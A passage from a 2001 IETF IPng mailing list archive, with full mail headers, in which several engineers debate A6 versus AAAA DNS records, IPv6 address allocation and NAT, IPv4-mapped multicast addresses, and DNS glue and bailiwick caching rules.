There's another issue here that does change, radically. With IPv4 you not only pay for stable addresses if you want them (really for the ability to run a server) and even more for portable addresses - but you also pay for the number of addresses you want allocated. The last of those will vanish with v6 - there's simply no rational way for an address block smaller than 2^64 (other than perhaps 1) to be allocated. Even if ISPs were to allocate in 2^64 chunks (rather than the 2^80 they're supposed to) and you have to engage in some trickery to map your systems onto subnets in the /64 space you get, you still have enough address space to number every system you're ever going to want to connect (and never re-use a number). | Oh, I'm sure we'll keep working on little pieces, virtually guaranteeing | that there will never be a comprehensive solution. As long as it looks | like we are making progress... If we keep solving the little pieces, we are making progress. They won't get unsolved once they're done. But that doesn't mean that someone can't go and make all of this work redundant by figuring out some smart way to route to billions (of billions) (like 2^48 at least, 2^64 potentially) individual addresses with no topological significance at all. If there's someone out there with the solution all ready just waiting, then please, let us know (even patent it, and then let us know). | A6 is just one more minor hand-wave implying that things might all work at | some point in the future when we solve the real problems. You can put it that way - it just makes one of the (minor) parts of the problem that little bit easier to handle. | Of course NAT will be used with IPv6. Why pay a per-address fee and then | an additional fee to keep the address stable (at least in the short term) | when you can maintain your own internal addresses with NAT? The "keep the address stable" part isn't helped at all by NAT. The only advantage to stable addresses (aside from the problem of renumbering your site) is where it is known to others. That is, so connections can remain open, or people can contact you by the address they know. For most sites renumbering internally is already cheap - they simply don't have enough systems for the small cost per system (say average 10 minutes of human time) multiplied by the number of systems to be large enough to really matter. With IPv6 that will be even easier (without question), as most nodes won't even need to be touched, or reboot, nor need internal communications be affected (if they're using site local addresses for that purpose). Now I have no doubt but that when the bean counters in many ISPs were told that they had to start allocating addresses now, they immediately asked "how much can we change for that? Can we make a profit doing it? A big profit??" - and that many operate that way today. They probably even use that to subsidise their other activities. But address selling has never been a core activity of an ISP, that's not what they exist for. Further, since addresses are just numbers, any ISP charging "too much" for numbers can easily be undercut by another charging just that little bit less. With IPv6 that will be much more true, as there are so many numbers available. As well as not being any kind of routing expert, I'm also certainly no economist, but it is hard to see how charges higher than "trivial" for address space can survive any kind of competitive market given that there's plenty of address space to go around. Of course, when it is scarce (really scarce - and IPv4 address space is in much of the world) that's another matter. Of course, nor will that prevent ISPs (and others) making huge profits out of it - even a trivial sum collected enough times can get very large - the sum is trivial to the customer (small enough not to bother shopping around much), but that doesn't mean that it necessarily only just covers the costs. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 11:14:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44IE5IM009389 for ; Fri, 4 May 2001 11:14:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44IE4Or009388 for ipng-dist; Fri, 4 May 2001 11:14:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44IDwIM009381 for ; Fri, 4 May 2001 11:13:58 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f44IAU907209 for ipng@sunroof.eng.sun.com; Fri, 4 May 2001 11:10:30 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f449WBIM008035 for ; Fri, 4 May 2001 02:32:11 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA15817 for ; Fri, 4 May 2001 02:32:06 -0700 (PDT) Received: from muncher.math.uic.edu (muncher.math.uic.edu [131.193.178.181]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id CAA22606 for ; Fri, 4 May 2001 02:32:04 -0700 (PDT) Received: (qmail 19648 invoked by uid 1001); 4 May 2001 08:51:37 -0000 Date: 4 May 2001 08:51:36 -0000 Message-ID: <20010504085136.15388.qmail@cr.yp.to> From: "D. J. Bernstein" To: ipng@sunroof.eng.sun.com Cc: namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing References: <20010504040749.8861.qmail@cr.yp.to> <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> <20010504040749.8861.qmail@cr.yp.to> <3347.988958757@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The root bailiwick includes all zones. The .com bailiwick includes all zones under .com. And so on. The power of the aol.com servers over www.aol.com exists only by grace of the .com servers. If the .com servers want to change the address of www.aol.com, they can. This power of the .com servers, in turn, exists only by grace of the root servers. These facts are built into the DNS architecture. We implementors didn't invent the DNS hierarchy or the concept of delegation. We give special powers to these central servers because we have no choice. Robert Elz writes: > If a resolver has a cached A record to match the name in the NS record, Sorry, but we can't cache records from outside the server's bailiwick. See http://cr.yp.to/djbdns/notes.html, under Poison, first example. > If you really believe it - implement it in your server for the NS/A case. I already did. The normal way to add an NS record, for example, is add-childns elysium.heaven.af.mil 1.2.3.144 (for the parent) add-ns elysium.heaven.af.mil 1.2.3.144 (for the child) The software automatically creates NS records pointing to in-bailiwick names, and A records for those names. Consequently caches receive glue. The only reason that I allow out-of-bailiwick NS records is for compatibility with certain parents (notably .com) that can't handle two A records pointing to the same IP address. Child servers and parent servers have to agree on NS names, thanks to a widespread BIND bug. ---Dan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 12:00:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44J0sIM009484 for ; Fri, 4 May 2001 12:00:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44J0rsb009483 for ipng-dist; Fri, 4 May 2001 12:00:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44J0gIM009476 for ; Fri, 4 May 2001 12:00:42 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA23972; Fri, 4 May 2001 12:00:27 -0700 (PDT) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA20602; Fri, 4 May 2001 12:00:25 -0700 (PDT) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id MAA22070; Fri, 4 May 2001 12:01:44 -0700 (PDT) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id MAA18549; Fri, 4 May 2001 12:01:42 -0700 (PDT) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id MAA25421; Fri, 4 May 2001 12:01:40 -0700 (PDT) Date: Fri, 4 May 2001 12:01:40 -0700 (PDT) From: Tim Hartrick Message-Id: <200105041901.MAA25421@feller.mentat.com> To: dthaler@exchange.microsoft.com, Erik.Nordmark@eng.sun.com Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets Cc: msa@burp.tkv.asdf.org, tony@lava.net, ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From owner-ipng@sunroof.eng.sun.com Fri May 4 03:15:51 2001 > Received: from roll.mentat.com (roll [192.88.122.129]) > by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id DAA07760 > for ; Fri, 4 May 2001 03:15:51 -0700 (PDT) > Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) > by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id DAA20140 > for ; Fri, 4 May 2001 03:15:49 -0700 (PDT) > Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) > by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA12084; > Fri, 4 May 2001 03:13:26 -0700 (PDT) > Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88]) > by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA10911; > Fri, 4 May 2001 03:13:16 -0700 (PDT) > Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) > by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44AC0IM008095 > for ; Fri, 4 May 2001 03:12:01 -0700 (PDT) > Received: (from majordomo@localhost) > by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44AC0gL008094 > for ipng-dist; Fri, 4 May 2001 03:12:00 -0700 (PDT) > X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f > Received: from jurassic.eng.sun.com (jurassic [129.146.84.31] (may be forged)) > by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44ABnIM008087 > for ; Fri, 4 May 2001 03:11:49 -0700 (PDT) > Received: from buse (buse.France.Sun.COM [129.157.212.11]) > by jurassic.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with SMTP id f44ABVHD302120; > Fri, 4 May 2001 03:11:32 -0700 (PDT) > From: Erik Nordmark > Reply-To: Erik Nordmark > Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets > > So I'd argue for just sticking IPv4 multicast addresses in ::ffff:0:0/96 > at the API and have the implementations which support mapped addresses > do the right thing to send/receive IPv4 multicast packets in that case. > I would agree. What we want is application transparency so allowing ::ffff:224.x.y.z to represent IPv4 multicast addresses or ::ffff:127.0.0.1 to represent IPv4 loopback addresses seems like the right thing. tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 19:44:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f452irIM009914 for ; Fri, 4 May 2001 19:44:53 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f452irkg009913 for ipng-dist; Fri, 4 May 2001 19:44:53 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f452iiIM009906 for ; Fri, 4 May 2001 19:44:44 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA26294 for ; Fri, 4 May 2001 19:44:43 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id VAA18307 for ; Fri, 4 May 2001 21:20:23 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA21298; Fri, 4 May 2001 22:44:38 -0400 Date: Fri, 4 May 2001 22:44:37 -0400 (EDT) From: Jim Bound To: Ian Jackson Cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <15090.46302.362557.596189@davenant.relativity.greenend.org.uk> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk A6 is already in DNS implementations. Its just a matter of using it. No one can tell the market not to use it. Or use it. This is not an IETF issue. Sorry strike my comment. thanks /jim On Fri, 4 May 2001, Ian Jackson wrote: > Jim Bound writes ("Re: AAAA/A6 thing"): > > After much good discussion with Davkd Conrad and Paul Vixie, and > > Christian/Matts view of this I believe we must implement what we have > > regarding A6 specs from the implementation perspective. > > `After much good discussion with various people, I believe we must > implement what we have regarding AAAA specs from the implementation > perspective'. > > Just because something is Proposed Standard doesn't mean it should be > implemented and/or advanced to Draft Standard. > > AAAA is Proposed Standard too, has more operational experience, is > simpler, and can do everything that A6 can do just as well if not > better. > > > I will leave it to others to tell us as we develop this if the > > specs are to be altered. > > The A6 spec hasn't been finalised yet. It hasn't even been approved > as a general way forward ! At the moment there are two proposals on > the table. You can't say `I will leave it to others to [alter the > spec]', because there is no specification that says you should do A6 > rather than AAAA. > > > Assist with renumbering. Reduce routing tables. And make IPv6 more > > deployable. I will leave it to others to find consensus on this or > > against this. It needs to be implemented and used. > > I agree that we should assist with renumbering, reduce routing tables, > and make IPv6 more deployable. But A6 does not help with this. In > fact, requiring a complex protocol like A6 where AAAA is adequate will > *hinder* IPv6 deployment. > > Just because A6 was introduced to help with renumbering DOES NOT mean > that it is a good thing for that purpose. Nor does it mean that A6 > opponents are somehow taking sides in some kind of ipngwg politics > about renumbering. I couldn't care less about that politics, and if > ipngwg say we need easy renumbering, fine. [1] > > But ipngwg should not define DNS protocols, dnsext should so so. > In this case we have an overcomplex protocol which allegedly exists to > meet some renumbering requirement, but which is in fact unnecessary. > > [1] Actually, as a layman when it comes to IPv6, renumbering, etc., I > approve of making renumbering easy. But I'm no expert in that field, > and I'll leave that to those who are. Likewise, DNS protocol and > architecture should be done by the DNS experts. > > Ian. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 23:08:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4568NIM009982 for ; Fri, 4 May 2001 23:08:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4568N6K009981 for ipng-dist; Fri, 4 May 2001 23:08:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4568BIM009974 for ; Fri, 4 May 2001 23:08:11 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA06759 for ; Fri, 4 May 2001 23:08:12 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA01913 for ; Fri, 4 May 2001 23:08:11 -0700 (PDT) From: Masataka Ohta Message-Id: <200105050600.PAA01995@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id PAA01995; Sat, 5 May 2001 15:00:28 +0900 Subject: Re: AAAA/A6 thing In-Reply-To: <20010502025329.12205.qmail@cr.yp.to> from "D. J. Bernstein" at "May 2, 2001 02:53:29 am" To: "D. J. Bernstein" Date: Sat, 5 May 2001 15:00:28 +0859 () CC: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dan; First of all, it should be noted that you are not anymore arguing aginst the fact that A6 is as good as NS. > RFC 1034 does not correctly describe the behavior of real DNS caches, > such as BIND and dnscache. In particular: RFC1034 is a specification, not an implementation note. > * The RFC 1034 resolution algorithm loops and eventually fails when > glue A records expire before NS records. Real caches fall back to > the roots and succeed. An implementation may expire a cached NS RR when its glue expires, > * The RFC 1034 resolution algorithm saves information from servers > that are not authorized to provide the information. Real caches > reject the unauthorized information. That is broken part of your implementation. Glue or an additional A of an NS should be cached, though, for security purpose, the cache content may be used only as glue. > Yes, these are differences between RFC 1034 and reality. RFC 1034 is > clearly wrong in both cases: it creates a reliability problem in the > first case and a security problem in the second case. With correct implementation, there is no security problem in the second case. > Ohta is wrong when he blames the DNS cache for throwing away the glue > here. RFC 1034 _does not_ require glue in this situation. The reality is that people have been putting glue to some or all the NSes, even though it does not required by RFC 1034. Then, some of them learned that glue should be there only when it is necessary. My example (with proper glue added) is conformant to RFC 1034 and the real world practice. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat May 5 01:31:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f458VRIM010112 for ; Sat, 5 May 2001 01:31:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f458VRSe010111 for ipng-dist; Sat, 5 May 2001 01:31:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f458VGIM010104 for ; Sat, 5 May 2001 01:31:16 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA22034 for ; Sat, 5 May 2001 01:31:16 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA22984 for ; Sat, 5 May 2001 01:31:15 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU ([203.154.130.240]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id PAA21832; Sat, 5 May 2001 15:31:09 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f458V6c01638; Sat, 5 May 2001 15:31:07 +0700 (ICT) From: Robert Elz To: "D. J. Bernstein" cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <20010504085136.15388.qmail@cr.yp.to> References: <20010504085136.15388.qmail@cr.yp.to> <20010504040749.8861.qmail@cr.yp.to> <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> <20010504040749.8861.qmail@cr.yp.to> <3347.988958757@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 05 May 2001 15:31:06 +0700 Message-ID: <1636.989051466@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: 4 May 2001 08:51:36 -0000 From: "D. J. Bernstein" Message-ID: <20010504085136.15388.qmail@cr.yp.to> | The root bailiwick includes all zones. The .com bailiwick includes all | zones under .com. And so on. Where does this bailiwick notion come from? I see no reference to that anywhere in the DNS specs, etc. This looks to be an invention that you believe rationalises your approach to glue, and your private theories as to how people should name their nameservers. | The power of the aol.com servers over www.aol.com exists only by grace | of the .com servers. That's true, to an extent. They created the aol.com name, and allow it to continue to exist. | If the .com servers want to change the address of | www.aol.com, they can. Only by removing the existing servers and substituting new ones. Otherwise the existing servers rule. They may sometimes be able to interject a bogus A record for a name - but only until clients discover the NS records, after that, queries for names inside aol.com will never go near the com servers (and any data received from the com servers, including the NS records, should be treated as untrustworthy glue, until verified from the authoritative servers) | Sorry, but we can't cache records from outside the server's bailiwick. You can, nothing prohibits it. But nor did anyone ask you to cache anything, I'm not about to require that. You misunderstood my intent. I didn't say anything about "if the resolver has cached an A record from some random source", I just said "if the resolver has a cached A record". The details of under what conditions it would make that cache entry weren't stated - for this purpose you can imagine them to be under however stringent conditions you desire (for example, it may have received the A record directly from the authoritative server for the name - it may in fact be that authoritative server). The point was that the NS name + name A case was not identical to NS address as in the former, the resolver that receives the response is free to ignore the A that accompanied the NS and use the A that it already has from a better source. Hence the two are not functionally equivalent, as claimed. | > If you really believe it - implement it in your server for the NS/A case. | I already did. The normal way to add an NS record, for example, is That isn't what I asked, I don't care what the local admin procedures are. What I asked was for your server to *never* send an NS record without the accompanying A record in the additional info section. Now you may very well do that too - I have no idea, perhaps you can point us at one or more servers that do lots of delegations of unrelated names (ie: one of the public registries somewhere in the world) so I can do some queries of the server and see for myself? | The software automatically creates NS records pointing to in-bailiwick | names, and A records for those names. Consequently caches receive glue. If that's true, as written, then great. And if you're sending that glue (in all cases) then I assume that your resolver will also use it whenever it is needed. If all that is the case, then I can't imagine why we're even discussing the issue. That is assuming "automatically creates NS records pointing to in-bailiwick names" is just saying that you won't allow people to create a child domain out of a domain that they don't control (eg: I don't get to delegate rc.yp.to as I don't run yp.to). But if I did, then I could make that delegation, and the server names could be anything (that has an A record) I want them to be. | The only reason that I allow out-of-bailiwick NS records is for | compatibility with certain parents (notably .com) that can't handle two | A records pointing to the same IP address. The com/net/.. registry service is truly broken there, stupid for reasons difficult to fathom. Never mind, that isn't the issue. But if you're saying that were it not for them you wouldn't allow me (were I to use your implementation) to use whatever names I like for the nameservers, then your implementation would be defective - and I'd be very surprised if you'd ever be able to get such an implementation deployed at any registry (where they have to list the NS records as the client specifies them - registries can't just go inventing new names out of the client's name space and usurping them for their own purposes). | Child servers and parent | servers have to agree on NS names, thanks to a widespread BIND bug. No comment on the bind bug - there have been very many of those over the years. But parent servers have to agree with child servers on NS names to get one of the basic assumptions of the DNS to work. That is, that it doesn't matter who you ask for information, the answers you get (if you get answers) will all be the same. Then, if there are no config errors, implementation errors, and leaving aside the race conditions that occur when information is changing (which the DNS deliberately leaves to be handled other ways) this is easy to achieve, provided there is only ever one source for the information. In this case, the authoritative source is the child's zone file - the parent is supposed to have an identical copy. Certainly in the zones in which I do delegations, I largely ignore the information that people fill in on the form - using what is there (aside from the domain name that specifies what is to have its delegation updated) only to locate the servers - as soon as I have found one of the new servers for the domain, the NS records that go in the parent domain come from that server (glue A records come from the authoritative servers for the names concerned). That is, provided all the servers to be listed agree on the contents of the domain (etc) but the rest of that validation isn't relevant here. I'd like to automate that - have the parent go and continually update its info from the child zones, but the practical issues with doing that are simply astoundingly difficult (for large zones, and especially those that need to deal with delegations to servers that tend not to be very reliable). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat May 5 01:44:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f458i4IM010134 for ; Sat, 5 May 2001 01:44:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f458i4IL010133 for ipng-dist; Sat, 5 May 2001 01:44:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f458hqIM010126 for ; Sat, 5 May 2001 01:43:53 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA20908 for ; Sat, 5 May 2001 01:43:53 -0700 (PDT) Received: from muncher.math.uic.edu (muncher.math.uic.edu [131.193.178.181]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id BAA24382 for ; Sat, 5 May 2001 01:43:52 -0700 (PDT) Received: (qmail 28819 invoked by uid 1001); 5 May 2001 08:43:22 -0000 Date: 5 May 2001 08:43:22 -0000 Message-ID: <20010505084322.6025.qmail@cr.yp.to> From: "D. J. Bernstein" To: ipng@sunroof.eng.sun.com Cc: namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing References: <20010502025329.12205.qmail@cr.yp.to> <200105050600.PAA01995@necom830.hpcl.titech.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Masataka Ohta writes: > Glue or an additional A of an NS should be cached, though, for > security purpose, the cache content may be used only as glue. That is not what RFC 1034 says. It is, however, similar to the RFC 1034 algorithm in that it fails to stop the attack. See the Poison section of http://cr.yp.to/djbdns/notes.html. > An implementation may expire a cached NS RR when its glue expires, That isn't the RFC 1034 algorithm either. If you're going to claim that the IETF specifications are right and that all of us cache implementors are wrong, perhaps you should start by reading the specifications. > First of all, it should be noted that you are not anymore arguing > aginst the fact that A6 is as good as NS. On the contrary. http://cr.yp.to/djbdns/killa6.html explicitly covers both situations together, and then explains why A6 and DNAME are worse: DNS reliability problems Out-of-bailiwick pointers destroy DNS lookups in three ways: * Every out-of-bailiwick pointer means more queries and more opportunities for delay: packets are lost and have to be resent. The chance of finding an answer before client timeout decreases exponentially with the number of out-of-bailiwick pointers. * Caches have to limit the number of queries and the amount of memory that they dedicate to a single lookup. When these limits are exceeded, lookups fail. * As illustrated by the AOL suicide example, every out-of-bailiwick pointer is another opportunity to create a loop. When a loop appears, lookups fail. These problems are not new. Lookups occasionally fail because system administrators have used too many out-of-bailiwick NS records, for example. (I tell my users to select in-bailiwick server names. My software automatically uses a.ns.fqdn, b.ns.fqdn, etc. as the default server names for fqdn. I also tell my users to avoid CNAME records.) What is new with A6 and DNAME is that out-of-bailiwick pointers are _encouraged_. System administrators are _encouraged_ to set up giant A6 chains and giant DNAME chains reflecting their corporate structures and network structures. The result will be a tremendous increase in the frequency of DNS lookup failures. I refuse to implement A6 and DNAME. I cannot bring myself to inflict such a rickety system on future Internet users. As of February 2001, nobody is relying on A6 or DNAME; I recommend that the A6 and DNAME proposals be terminated. http://cr.yp.to/djbdns/notes.html and http://cr.yp.to/djbdns/killa6.html provide all the background you need to understand these points. ---Dan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat May 5 02:52:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f459q7IM010171 for ; Sat, 5 May 2001 02:52:07 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f459q6rE010170 for ipng-dist; Sat, 5 May 2001 02:52:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f459pvIM010163 for ; Sat, 5 May 2001 02:51:57 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA15645 for ; Sat, 5 May 2001 02:51:57 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA11214 for ; Sat, 5 May 2001 02:51:55 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU ([203.154.130.240]) by ratree.psu.ac.th 